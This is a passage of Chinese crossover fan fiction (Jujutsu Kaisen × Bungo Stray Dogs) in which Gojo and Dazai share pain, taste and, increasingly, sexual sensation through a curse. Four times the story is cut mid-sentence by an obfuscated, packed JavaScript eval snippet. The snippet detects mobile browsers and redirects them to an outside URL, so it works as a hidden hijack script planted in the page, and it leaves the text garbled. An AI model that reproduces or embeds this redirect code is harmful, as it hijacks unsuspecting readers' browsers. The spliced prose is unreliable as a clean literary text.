与谢野:“对,就像一条被反复冲刷的河流,河床正在被拓宽和加固。” 硝子看向躺着的两人,语气平静地投下重磅炸弹:“根据这个趋势模型推测,接下来,它很可能不再满足于仅仅共享痛觉。” 五条悟猛地抬起一点脑袋,墨镜歪斜:“……什么意思?” 太宰治也艰难转过头,他有种非常不妙的预感。 12. 第12章 “意思就是,”与谢野晶子抢答道,笑容灿烂得有些可怕,“说不定哪天,你吞喜久福的甜腻,能齁死他;他灌洗洁精的‘芬芳’,也能熏晕你。或者更精彩的……你眼里的世界,他鼻尖的气息,甚至更抽象的……你们的愉悦或者悲伤,都可能成为共享套餐的一部分。惊喜吗?” 五条悟和太宰治对视一眼,都在对方脸上,看到了前所未有的惊恐,和“我到底造了什么孽要跟这种家伙绑定”的深切嫌弃。 “哈?开什么国际玩笑!” 五条悟率先炸毛,指着太宰治:“老子才不要共享这家伙的味觉!谁知道他那条舌头,平时都在品鉴些什么生化武器!光是想象一下,那种混合了蟹肉罐头、劣质咖啡和自杀未遂河水的味道,就足以让我三天吃不下甜品! 老子亏大了!” 太宰治立刻反唇相讥,声音虚弱但嘲讽力不减:“呵,我才应该说这话吧?被迫接收被糖分腌渍过度的味蕾反馈,想想,都觉得腻得发慌。还共享视觉……那我岂不是要被迫欣赏,你整天傻白甜的风格?视觉神经会抗议的。怎么看,这笔烂账都是我比较亏!” “放屁!老子的六眼视觉,是顶级超高清无死角体验好吗?你这青花鱼赚到了!” “赚到?工伤才对。持续接收过量无意义视觉信息,会导致大脑过载、智商下降,这根本就是恶性攻击!” “总比你整天想着怎么去投胎的阴暗脑电波强!共享情绪?老子怕被传染抑郁症!” “彼此彼此,我也很担心被你过于乐观的单细胞情绪,拉低思考水准!” 两人就这么瘫在病床上,连爬起来打架的力气都没有,却依旧顽强地互相投掷毒液,仿佛谁先停下谁就输。 家入硝子面无表情地看着他俩,吐了口烟:“看来你们已经提前进入‘共享情绪’的预习阶段了——同步率很高的烦躁和幼稚。” 与谢野哈哈大笑:“这不是挺好的吗?以后吵架连开口都省了,直接脑内互骂,多高效。” “谁要和他脑内互骂啊!!” 两人异口同声地怒吼道。 硝子看着检测仪器上,因为两人激烈争吵而再次上扬的链接活性指标,在本子上默默记下一笔:“疑似可通过激烈情绪互动,如争吵,轻微提升链接稳定性。需进一步观察。” 她想了想,又加上一笔:“副作用为智商显著降低。” 硝子似乎找到了一个可能不太人道,但或许有点用的研究思路。 而那两人,还没意识到,自己可能成了新的观察样本。 又过了一会儿,硝子和与谢野带着一摞“宝贵”数据,和几个危险的新想法离开了,留下五条悟和太宰治,在医务室里继续休息,像两条被海浪拍上岸的,互相看不顺眼的鱼。 终于,他们也骂累了,过了回光返照的阶段,又开始呈现出一种同步的濒临报废状态——脸色苍白,眼下乌青,肢体僵硬,被抽干了所有精气神,只剩下两具还能呼吸的皮囊,堪比被扔进咒灵堆里反复碾压了三天三夜。 “我觉得……我的灵魂……需要反转术式……”五条悟有气无力地哼哼。 “同意……麻烦……顺便给我的求生欲……也来一点……”太宰治的声音像从水里捞出来,鸢色眼眸半阖。 就在这时,门外探进几个脑袋。 “五条老师,太宰先生,你们还好吗?”虎杖悠仁充满元气的声音,此刻听起来有点刺耳,他手里还拎着一袋……看起来像水泥的慰问品。 钉崎野蔷薇和伏黑惠跟在他身后。 “听说你们进行了深度治疗,我们来看看。”伏黑惠语气平淡,但眼神里有一丝不易察觉的……幸灾乐祸。 “是啊是啊,我们特地带来了慰问品!” 虎杖把那个沉甸甸的袋子放在床头柜上,“仙台特产,超硬的喜久福,据说对牙口好的人是大补!” 五条悟看着那袋能当凶器的喜久福,嘴角抽搐。 钉崎则拿出一个喷壶:“医务室空气不好,我帮你们消消毒哦!”说着,就要对着两人喷。 一直没什么反应的太宰治,眼皮懒洋洋地掀开一条缝:“钉崎同学……你手里拿的,是浓缩生姜汁吧?听说刺激性很强,碰到伤口会……非常爽快。” 钉崎的动作瞬间僵住。 虎杖干笑:“哈哈,太宰先生真会开玩笑……” 伏黑惠默默把伸向输液速度阀门的手,收了回来。 太宰治重新闭上眼,慢悠悠道:“悠仁君带来的特产,包装袋上的生产日期,好像是去年呢……伏黑君,你口袋里露出一角的那个瓶子,是痒痒粉吧?” 三个学生:“……” 五条悟发出嗤笑:“……小鬼头们……想整我们……还早了一百年……” 最终,恶作剧未遂的三人组,被闻讯赶来的硝子轰了出去,理由是“打扰病人休息”。 医务室重新恢复安静。 “啧,一群小混蛋。”五条悟抱怨。 “上梁不正下梁歪。”太宰治补刀。 医务室的门刚关上没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389693|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多久,又被小心翼翼地推开一条缝。 虎杖悠仁的脑袋再次探了进来,脸上带着点被抓包后的讪讪,和一丝真诚的歉意。 “那个……老师,太宰先生……”他挠了挠头,声音比刚才小了不少,“其实……刚才那些是开玩笑的啦。” 钉崎也挤了进来,手里拎着一个看起来正常多了的果篮,没好气地说:“谁知道一下子就被你们识破了,真没劲。” 伏黑惠跟在他们身后,默默把一箱草莓牛奶和一张印着“早日康复”的卡片放在床头柜上,取代了那袋能砸死人的“硬核喜久福”。 虎杖从身后拿出一个精致纸盒,里面整整齐齐摆着几个软糯正常的毛豆生奶油喜久福:“这才是真正的慰问品,仙台老家寄来的,限量版!” 五条悟原本瘫软的身体,瞬间支棱起来一点,眼睛都亮了几分,虽然依旧虚弱,但语气立刻扬了上去:“哦,你们还是有点良心的嘛!哈哈!” 他得意地瞥了一眼隔壁床的太宰治,像是在炫耀什么稀世珍宝,“看到没?尊师重道!羡慕吗?你这只孤寡青花鱼!” 太宰治半阖着眼,有气无力地哼了一声:“呵……幼稚。” 但他却在五条悟没注意时,瞟了一眼那盒喜久福。 过了须臾,他摸出手机,手指在屏幕上戳了几下,然后像是耗尽了力气般,又瘫了回去。 later…… 医务室的门被大力撞开。 中岛敦气喘吁吁地出现在门口,手里捧着一个巨大的外卖箱,螃蟹造型,还在冒着热气。 他脸上写满了焦急和担忧:“太宰先生,您怎么样了?听说您接受了很可怕的治疗?我带了您喜欢的螃蟹料理来,希望您能心情好一些!” 紧随其后的是泉镜花,她悄无声息地走进来,将一盒崭新的高级绷带,放在太宰治枕边:“绷带,备用。” 太宰治依然瘫在床上,连手指头都没动一下,只是懒洋洋地掀开眼皮,然后目光转向隔壁床的五条悟,嘴角勾起一个微笑。 就在此时,一股微弱的咒力波动,倏地从窗外掠过, 五条悟和太宰治的身体,同时僵了一瞬。 那感觉并非攻击,更像窥探,但充满恶意,并且触动了他们之间的链接,引起一阵细微共鸣。 它似乎只是路过,却又是一个无声宣告:“我在看着呢。” 两人极快地对视一眼,刚才斗嘴时的那点情绪,瞬间消散,他们望向窗外已然恢复平静的夜空,陷入了短暂沉默。 13. 第13章 经过一天一夜的昏睡,和家入硝子后续相对温和的调理,两人总算从“医学实验后遗症”的深渊里,勉强爬回了人间。 虽然脸色依旧不算太好,但至少能下地行走,并且再次充满了……互相找茬的精力。 五条悟揉着还在隐隐作痛的太阳穴,语气带着十足的不耐烦:“喂,青花鱼,我看你这‘交流学习’,也学得差不多了吧?高专的精华你没吸收半点,糟粕倒是体验了个遍,再待下去,我怕夜蛾校长的心脏,都要撑不住了。” 太宰治慢慢坐直身体,动作间,仿佛还能听到骨头在呻吟。 他扯出一个假笑:“五条老师这是在赶我走吗?真是无情啊。难道不是您鼎力支持我来这里,体验这独一无二的……咒术界素质教育吗?” 五条悟挑眉:“少来这套。当初是怕你这只不安分的青花鱼,在横滨瞎折腾,连累老子隔空体验各种死法。既然森先生提议,我顺水推舟罢了。现在嘛……” 他停顿少许,虽然不想承认,但经过这段时间的互相折磨,和那场惨绝人寰的“酷刑会诊”,他对链接的掌控力似乎强了那么一丁点,至少不会因为太宰在横滨跳河,他就立刻在东京窒息。 “现在看来,把你拴在身边,老子的生命安全指数,反而下跌得更快。你还是回去祸害武装侦探社比较合适。” “正合我意。”太宰治立刻接话,鸢色眼睛里没有丝毫留恋。 “比起这里,充满青春期躁动和甜食腐败气味的空气,我还是更怀念侦探社的清新环境。” 一场毫无营养的针锋相对后,两人难得迅速地达成共识——彼此远离,就是最好的祝福。 虽然暂时的分别,也许只是为了……下一场更精彩的互相折磨做准备。 于是,次日下午,太宰治就拎着他那个没什么内容的行李箱,出门散步一样,溜达到了武装侦探社。 推开门,熟悉的喧闹气息扑面而来。 国木田独步正在训斥中岛敦的文件格式错误,唾沫横飞,笔记本拍得啪啪作响;谷崎润一郎和直美在角落小声讨论着什么,气氛暧昧,让周围空气都变得黏糊;与谢野晶子擦拭着她的新器械,寒光闪闪,正期待下一个幸运儿的到来——一切都和往常一样,是一种令人怀念的正常混乱。 “Hi,大家好,我回来了。” 太宰治声音轻快地打招呼,仿佛只是翘了半天班。 国木田闻声抬头,推了推眼镜,眉头习惯性皱起:“太宰,你还知道回来!你的工作报告拖欠了整整三份!这段时间你到底……” 他的话没说完,就被扑过来的中岛敦打断:“太宰先生,您回来了!没事吧?身体恢复了吗?”小老虎脸上,写满了真诚的担忧。 泉镜花也悄无声息出现在旁边,默默递上一杯新泡的茶。 与谢野晶子抬起头,露出一个意味深长的笑容:“哦?回来了?” 太宰治接过镜花的茶,笑眯眯地避开国木田关于工作报告的追问:“对啊,我还是更喜欢这里……相对单纯的挨骂环境。” 他走到窗边,看着楼下熟悉的车水马龙,嘴角勾起一抹弧度,不过眼里的笑意却很淡。 尽管离开了高专,但他知道,那条连接着东京与横滨的无形链接,不会因为距离拉远,而变得微弱。 反而,像一根被拉长的皮筋,蓄积着更多张力。 硝子她们刚刚发现的,关于链接可能进化的预测,也让未来充满了更多不确定性。 果然,两人相安无事的日子,精确地被诅咒一样,仅仅持续了七十二小时。那该死的链接,便又迫不及待地跳出来刷存在感了。 那一日,太宰治刚踏上楼梯台阶,左脚就突然有了自己的想法,毫无征兆一软,整个人便失去平衡,以一种非常不优雅的姿态,向前栽去—— “哇哦!” 正巧从楼下走上来的中原中也,差点被这突如其来的“投怀送抱”撞个满怀。 他敏捷地后跳一步,压了压帽檐,眼睛里溢满嘲讽:“喂喂,青花鱼,几天不见,已经退化到连直立行走都困难了吗?还是说,你基本的平衡功能都报废了?” 太宰治龇牙咧嘴地爬起来,拍了拍身上的灰尘,脸上挂起让人火大的虚微笑意:“哎呀,原来是矮脚蛞蝓。抱歉抱歉,刚才好像感觉到一阵……属于小矮人国的地心引力呢。” 中也的额角爆出青筋:“你想死吗?混蛋太宰!信不信我现在就让你体验一下,真正的重力加速度?” 太宰治叹息着摇头:“真是暴力呢……不过,比起某只一言不合就掀桌拆楼的暴躁白毛猫,中也君的威胁,听起来还真是缺乏新意。” 他嘴上反击得漂亮,心下却是一片雪亮。 刚才那一下,绝不是什么地心引力或者楼梯故障。就在他摔倒的前一秒,一种整个人被强行拧转重心,失去平衡的错觉,顺着链接凶猛袭来——毫无疑问,是五条悟那家伙,不知道又在哪个角落,进行他那华丽的极限运动了。 与此同时,东京涩谷,某处阴暗的巷弄深处,五条悟刚以一个近乎违背物理定律的极致侧身,避开了一级咒灵悄无声息的毒液喷射。 腐蚀性液体擦着他制服袖口飞过,将身后的斑驳墙壁,蚀刻得呲呲作响、坑洼一片。 “哇哦,好险好险!” 他夸张地拍了拍胸口,语气轻浮:“差点就毁了我这身高端定制,你这丑东西,可真不懂时尚和可持续发展。” 指尖,“苍”的光芒微微凝聚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389694|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 而武装侦探社这边,太宰治还没来得及完全直起腰,嘲讽中也的语句也还没升级到2.0版本,侦探社的大门,就被大力撞开! 几名面目狰狞、手持枪械的壮汉冲了进来,显然是某个与侦探社有过节的异能团伙,前来寻仇或者抢夺什么东西。 战斗骤然爆发,毫无预兆! 文件雪片般飞扬,桌椅被暴力翻倒,国木田的怒吼响起,谷崎的“细雪”亮出,与谢野也兴奋地举起了她的大家伙。 混乱中,谁也没注意到,一个缩在角落的敌人,眼中闪过狠戾的光,他悄悄抬起了一把改装过的手枪,枪口并非对准任何人,而是——天花板某处不起眼的承重结构。 子弹在空中划出一道诡异弧线,长了眼睛般,绕过巨大花盆,精准射向另一边的太宰治! “噗哧!” 子弹撕裂布料与皮肉的声音,沉闷而刺耳。 太宰治的左肩爆开一团血花,巨大的冲击力让他踉跄着,向后撞在书架上。 撕裂般的尖锐剧痛,瞬间席卷了他的所有感官。他闷哼一声,脸色变得苍白,额角渗出细密冷汗。 同一时刻,涩谷的巷战现场,五条悟的“苍”,正准备将那咒灵彻底碾碎,突然,一股凶猛无比的灼热痛感,从他左侧肩膀轰然炸开! 饶是五条悟,也被这突如其来的剧痛冲击得单膝跪地,咒力输出瞬间紊乱,“苍”的光芒歪斜,轰塌了旁边半堵废墙。 尘土飞扬中,他下意识地捂住自己的左肩,眼罩后的六眼,因震惊而微微收缩。 左肩完好无损,但这痛感……比之前任何一次都要清晰而强烈! 但……不止是痛。 就在剧痛浪潮稍稍褪去的刹那,一股细微且令人头皮发麻的酥麻感,顺着痛楚的轨迹,悄然窜起,迅速蔓延过他的神经末梢…… 这是什么? 五条悟愣住了。 他保持着单膝跪地的姿势,感受到左肩上,痛与隐秘快感交织的陌生触觉,只觉得诡异无比。 仿佛那颗子弹,也同时击中了他某个未曾被发现的、荒谬的感官开关。 五条悟下意识抬手,指尖抹过唇角——刚才的咒力反震,让他咬破了嘴唇。 不远处,路过此地的毛利兰,紧紧抓着江户川柯南的手,两人目瞪口呆地看着这片如被台风席卷过的战场,以及那个突然跪地、表情变幻莫测的白色身影。 柯南的柯学世界观,正在遭受前所未有的冲击:“那个白发男子……刚才明明没有被攻击到……为什么?那种反应……应该是真实的疼痛啊……这到底怎么回事?” 尘埃落定,五条悟缓缓站起身,他抹掉那点血迹,眼神却变得危险和玩味。 14. 第14章 诅咒这东西,就像鞋底的口香糖,黏腻,甩不掉,还时刻提醒你,它不合时宜的存在。 痛觉共享,现在看来,只是入门级折磨。 无非是太宰治入水时,五条悟体验一下濒死窒息;五条悟被咒灵蹭破点皮时,太宰治龇牙咧嘴骂娘。 互相伤害的戏码演多了,难免有些疲沓,甚至可悲地衍生出一种……针对彼此痛阈,心照不宣的尊重——毕竟谁也不想,在吃甜品或者品味蟹肉罐头的巅峰时刻,被对方一个突如其来的念头,搞得当场表演颜艺,狼狈不堪。 太宰治曾言:“殉情的兴致,都被疼痛搅黄了。” 五条悟则宣称:“品尝甜味被打断,痛苦不亚于‘喜久福售罄’。” 然而,命运的编剧,显然觉得这点料还不够足,且热衷于给这场荒诞剧加码。 一种新的、更微妙、更该死、也更私密的感知,正悄然顺着无形链接滋生蔓延。像初春冰面下的暗流,暂时蛰伏,却预示彻底的颠覆。 某个清晨,太宰治正对着镜子,慢条斯理地往脖颈缠绕新绷带,指尖无意间,擦过喉结下的敏感皮肤。一阵不属于物理触碰的奇异战栗,突然窜过脊柱。 那感觉转瞬即逝。 太宰手上的动作停顿少许,眼眸里掠过玩味的探究。他停下缠绕绷带,指尖带着明确意图,故意再次轻轻按压上同一部位,喃喃自语道:“嗯?奇怪的bug增加了……” 来了。 这次更清晰了些,是一丝毋庸置疑的酥麻感。就像有人用羽毛的最尖端,隔着遥远距离,搔了一下他的神经末梢。 几乎同一时刻,正站在讲台上,对着下面一群学生大放厥词,大谈特谈“咒力精细操控如同指尖芭蕾”的五条悟,话语突兀的卡了一下壳。 他戴着眼罩,没人看得清他的眼神,但那总是挂着嚣张弧度的嘴角,似乎微妙地僵硬了。 “……所以说,控制力,才是区分强者和菜鸟的分水岭……” 然后,他面不改色,接上之前的话,似乎刚才的瞬间停顿,只是战术性换气。 刚才那一下……什么玩意儿?错觉?还是课前那盒喜久福,甜得他出现了幻觉?不对,幻觉怎么会有点……爽? 讲台下,虎杖悠仁听得两眼放光;伏黑惠努力维持着面无表情,实则神游天外;钉崎野蔷薇则在认真思考——用锤子能不能实现这种“指尖芭蕾”。 没人注意到,五条悟插在口袋里的手,指节微微蜷缩了一下。 而远在横滨的太宰治,对着镜中的自己,缓缓勾起一个足以让横滨所有敌对势力,都头皮发麻的笑容。 他似乎……发现了一点新大陆的边缘。而且这片大陆的主人,似乎不太经得起探索。 当然,五条悟,显然也绝非迟钝之辈。在那短暂的异样感之后,一种顶级强者特有的洞察力,让他对自身任何细微变化,都了然于心。毕竟,最强又不是浪得虚名,连汗毛倒立的角度都能感知。 五条悟立刻捕捉到了异常的源头——那条比烂橘子烂柠檬烂柿子加起来还烂的链接, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389695|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎传输了某种……和快感有关的信号。 一个更大胆作死的念头,如毒蘑菇般,在五条悟那颗号称“最强”,却也最无法无天的大脑里,迅速滋生膨胀。 他几乎是带着一种科学狂人般的献身精神,或者说,纯粹是闲得蛋疼,决定进行一场反向实验。 于是,就在太宰治若有所思,考虑着是该用拆绷带,还是试试别的方式,进一步验证猜想时—— 一股强烈得多,路径也清晰得多的触感,毫无征兆地袭来! 仿佛有一根看不见的手指,带着一种刻意放缓的戏谑力度,从他的锁骨中央开始,不紧不慢、坚定不移地……向下滑去。 划过胸膛的皮肤,掠过心口,一路滑过腹肌…… “噗——咳——” 太宰治猛地呛咳起来,一把扶住了洗手台边缘。 那感觉太清晰了,简直像真有人在他身上动手动脚。而且这种触碰方式……轻佻,缓慢,还充满了恶作剧的试探。 除了那个白毛人渣,不会有别人! 镜子里,他看见自己的耳尖,以肉眼可见的速度泛红了。 “五!条!悟!” 太宰几乎是从牙缝里挤出这三个字,眼底翻滚着被冒犯的愠怒和……被挑起的更危险的兴奋。 好啊,玩这个是吧? 他深吸一口气,努力平复着被陌生快感搅乱的心率和呼吸。 行,既然要玩,那就玩大点。他倒要看看,这场互相凌迟的感官游戏,谁先跪下认输。 15. 第15章 报复的机会来得很快,快得让太宰治几乎要感谢这该死的诅咒了。 下午,咒术高专的一年级教室里,五条悟正试图用他那种独特的不着调方式,向学生们演示,如何将咒力凝聚于一点,进行精准爆破——用他手里的粉笔头作为示范道具。 “……看好了,菜鸟们,能量的流动要像谈恋爱,既要热情澎湃,又不能失控暴走……呃!” 他的解说再次中途夭折。 这一次,感觉来得凶猛而具体! 某种存在感和压力,带着属于另一个人的体温,慢条斯理,悄然贴于他的腿侧…… 它停留了片刻,似乎在丈量,或者在欣赏其引发的,肌肉瞬间的绷紧与震颤。随后,它开始了移动。 缓慢,延续,沿着隐秘路径,向上蔓延,令人头皮发麻。 那动作太刻意了,铭刻着太宰治能把人气笑的从容和恶劣。 五条悟倒抽一口冷气,整个人像是被高压电猝不及防地捅了一下,苍蓝色眼瞳难以置信地睁大。 这青花鱼?他来真的? 更糟糕的是,那感觉……见鬼的清晰且持久! 完全不同于之前,转瞬即逝的试探,这次是实打实的持续性感官刺激。 链接的另一头,那个绷带浪费装置,正在有预谋、有步骤地,对他进行远程性骚扰! “五条老师?您怎么了?” 虎杖悠仁关切问道,他看见自家老师突然僵住,表情等于生吞了一整盒超酸柠檬糖,手里的粉笔还发出不堪重负的“咔嚓”声,感觉有些奇怪。 “我好得很!” 五条悟几乎是吼出来的,声音都比平时高了八度。他试图调动咒力,压下这诡异的感觉,但注意力根本无法集中。 压力还在移动游走,划过内侧皮肤,带来一波强过一波的战栗和酥痒,这感觉顺着链接,疯狂涌入他的神经中枢,对他进行了一场无声围剿。 “老师您的脸有点红,是发烧了吗?”钉崎野蔷薇也发现了不对劲。 “是老师的热血在燃烧!”五条悟从牙缝里挤出声音,感觉自己快要站不稳了。 这他妈比直接捅他一刀还难受,这是一种精神和□□的双重折磨! 而此刻,远在武装侦探社宿舍的太宰治,正悠闲地靠在沙发上,一只手拿着手机,另一只手……指尖依循着想象中的轮廓,在自己身上同步移动。 他脸上,挂着一种近乎纯良的微笑,细看,却是恶魔般的气质。 “哎呀,看来五条先生的反应,比想象中还要有趣呢……” 他轻声自语,指尖的动作越发放缓,甚至带着点回味般的揉按:“原来,‘最强’的领域,这么敏感吗?” “五条老师,咒力失控了!”伏黑惠终于发现了最大的不对劲,惊恐大喊道。 只见五条悟手中那根可怜的粉笔,早已不是凝聚一点咒力了,而像一颗即将爆炸的小太阳,迸发出非常不稳定,且在疯狂闪烁的恐怖能量! 而五条悟本人,正全力和身体里,那阵源自千里之外,该死的快感做斗争,根本无暇他顾。 然后…… 轰! 一声震耳欲聋的巨响!那截承载了过多咒力和怨念的粉笔,终于彻底爆发,蕴含的庞大咒力炸开,狂暴的能量流像脱缰野狗,冲天而起,毫无保留地……怼向教室天花板。 碎石四溅,烟尘弥漫…… 整个教室的屋顶,被五条悟这失控的一击,干脆利落地掀飞了出去。 此时正值午后,阳光无遮挡地照射进来,照亮了下面一群目瞪口呆的学生,以及漫天飞舞的粉尘和课本纸页。 教室里一片寂静。 只能听到远处惊飞的鸟鸣,和簌簌落下的尘土之声。 片刻后,一声蕴含着滔天怒火的咆哮,从校长室方向炸响,震得整个高专都抖了三抖: “五——条——悟——你又对教室做了什么?” 虎杖仰着头,看着豁然开朗的天空,嘴巴张得能塞进一个鸡蛋,半晌,才发自内心、充满赞叹地喃喃道:“五条老师的……新教学法……好、好震撼!这就是……力量的最高境界吗?” 钉崎一脸麻木:“不,虎杖,这不是什么新教学法……这绝对只是普通的破坏公物……” 伏黑默默捂住了脸,开始思考,现在退学还来不来得及。 始作俑者五条悟,站在原地,微微喘着气,眼罩摘下,露出那双写满了震惊和……奇异亢奋的苍蓝色眼睛。 他忽略了夜蛾正道的怒吼,忽略了学生的惊恐,甚至忽略了自己造成的灾难现场。 链接另一端,那撩拨性的触摸,在他屋顶被掀飞的瞬间,终于停了下来。 但残留的感觉,依旧像电流一样,在他四肢百骸里窜动。 他舔了舔忽然有些发干的嘴唇,一种荒谬、疯狂、却又带着兴奋的笑容,在他脸上绽开。 好啊,太宰治。 你完了。 …… 黄昏时分,太宰治心情颇佳地泡在浴缸里。温水淹没锁骨,光线透过雾气,软化了他的轮廓。氤氲雾气中,他眉眼模糊,隐隐可见带着笑意。 白天的“实验”成果斐然,几乎让人暂时忘却这链接本身的诅咒性质。想到五条悟可能遭遇的混乱场面,他就忍不住想哼首歌,觉得这诅咒,偶尔也挺善解人意。 代价是存在的,肌肉深处,残留着类似过电后的酸软,是共享那场爆炸余波的证明,但无足轻重。这代价,比起想到的乐子,简直不值一提。 他阖眼,沉溺于这片刻的安宁,思绪漫无目的,随意漂浮,衡量着下一次试探的边界…… 突然一股奇异的感觉袭来…… 比白天他发起的任何一次,都要鲜明、大胆、且充满挑衅! 就像一根带着灼人温度的手指,凭空出现,轻轻点在他的下唇上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389696|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰治猛然睁开眼,身体绷紧。 触感停顿了,继而又开始移动,缓慢描摹着唇线轮廓。 接着,它向下滑去,掠过下颌,停留于喉结之上,在那里不轻不重地按压了片刻,感知着其下骤然失序的搏动。 太宰治:“……” 他屏住了呼吸,抓着浴缸边缘的手指微微收紧。 侵袭并未结束,反而变本加厉。它滑过锁骨,反覆流连,甚至带着玩弄般的恶意。 水温顿时跃升了十度,变得滚烫,令人不安。 紧接着,那股知觉变得狡猾而专注,它越过所有暖昧不明的试探,穿透水面…… “啊——” 太宰治猛地蜷缩起来,企图将自己重新塞回某个安全的原点,但无用。 水流哗然四溢,漫过边缘,打湿了地面,正如他此刻彻底失守的边界。 那是一场海啸,是神经末梢集体叛变的狂欢,是理性被彻底冲垮后,裸露出的废墟。 五条悟这个疯子,他绝对是在报复!而且是不计后果、同归于尽式的报复! 不知过了多久,浪潮才缓缓退去,留下残骸……和一个浑身湿透、眼角泛红、狼狈不堪、像是跑完了马拉松的太宰治。 他趴在浴缸边缘,不断喘息着,胸腔还在剧烈起伏。 突然,放在置物架上的手机像催命一样,疯狂震动起来。 太宰治咬着后槽牙,伸出发软的手,抓过手机,按下接听,声音还带着未平息的喘息和沙哑: “……人渣……把手拿开……” 电话那头,传来五条悟同样有些气息不稳,却充满了恶劣笑意的声音: “明明是你先动的腿,骗子。” 他停顿少许,语气里的得意几乎要溢出听筒:“怎么样,礼尚往来,还满意吗?” 太宰治闭上眼,深吸一口气,又缓缓吐出。 他不得不承认一个事实:快感共享,成立。而且这链接传输感官的强度和清晰度,惊人得可怕。 这不再是恶作剧的范畴,这简直是在玩火自焚,不,是抱着核弹跳舞。 他对着满室朦胧的雾气,像在对五条悟说,又像是对自己宣告,声音像叹息: “我们成了彼此最危险的玩具。” 电话那头,沉默了一瞬,随即响起五条悟更加张扬的大笑。他看着远处,东京的灯火渐次亮起,眼睛闪烁着难以捉摸的光芒。 “正合我意。” 电话挂断后,五条悟脸上的笑容慢慢收敛,他抬手,看着自己刚才“虚拟”触碰太宰的指尖,微微皱起了眉。 这链接的升级,似乎比想象中……更麻烦,也更不可控。 而浴缸里的太宰治,缓缓沉入水中,只留下一串细微的气泡浮上水面,鸢色眼底暗沉不明,无人知晓他此刻真正在想什么。 危险游戏,已踏入更深不可测的水域——而他们都清楚,无人会率先转身离去。 16. 第16章 于是,太宰治和五条悟之间的感官战争迅速升级。之前的平衡被打破,并且,从偶尔的试探性摩擦,演变成了全天候、无差别、高强度的人体实验。 两人都坚信,自己占据道德高地,美其名曰“合理反击”,并致力于挖掘对方身上,每一个可能产生有趣反应的开关,乐此不疲。 这就像两个拿到新玩具的恶劣孩童,只不过他们的玩具,是对方的神经系统。 一开始,还只是些无伤大雅的小麻烦。 比如,五条悟正在享受新口味喜久福,舌尖沉浸于那份甜美时…… 一股属于洗洁精的诡异苦涩,在他口腔里突然弥漫,此味道霸道至极,不仅完美抹杀了所有甜味,甚至带来了……舌头被擦洗一遍的可怕幻觉! “噗——” 五条悟一口喷掉了价值不菲的甜品,趴在桌上干呕,形象全无。 “太——宰——治——你他妈在吃洗洁精吗?” 电话立刻追了过来,那头是太宰治无辜又欠扁的声音:“诶?五条先生怎么了?我正在帮国木田君清洗积累了一周的咖啡杯呢,勤劳是美德哦。” “美德你个头!你就是在投毒,绝对是故意的!” “哎呀,真是冤枉,我只是在体验生活嘛。” 又比如,太宰治正试图用他充满诗意的颓废风格,向一位委托案件的女士阐述哲学理念——“人生虚无,不如共赴黄泉”时…… 一股甜到发齁,把十斤糖浓缩成一勺的味觉洪流,突然冲击了他的味蕾! 太宰治顿时表情扭曲,感觉生吞了一整罐工业糖精,所有酝酿好的忧郁氛围碎了一地。 “咳!咳咳咳!” 他不由弯下腰,剧烈咳嗽起来,差点泪流满面。 美丽女士关切问道:“太宰先生,您没事吧?” 太宰治艰难地摆摆手,从牙缝里挤出声音:“没、没事……只是突然……品尝到了……人间的……极致之甜……” 他心里,已经把某个白毛咒术师骂了一百遍。 电话随即响起,五条悟欢快的声音传来:“怎么样?最新款超超超甜草莓牛奶的滋味如何?独家分享,不用谢!” “人渣……你的味蕾是装饰品吗……” “彼此彼此啦,洗洁精品鉴大师。” 如果仅限于这种口味攻击,或许还能称之为“情趣”。但很快,战火就蔓延到了更危险的领域,开始严重干扰他们的正常工作。 比如某日,横滨的武装侦探社里,国木田独步正在主持一场重要会议,主要内容是关于近期的连环袭击案。太宰治难得没有摸鱼,撑着下巴,似乎听得还算认真。 可这种氛围并未维持多久,突然,太宰治整个人从椅子上弹了起来,发出一声短促惊喘,脸颊迅速蹿红。 全体社员的目光,瞬时聚焦在他身上。 “太宰!” 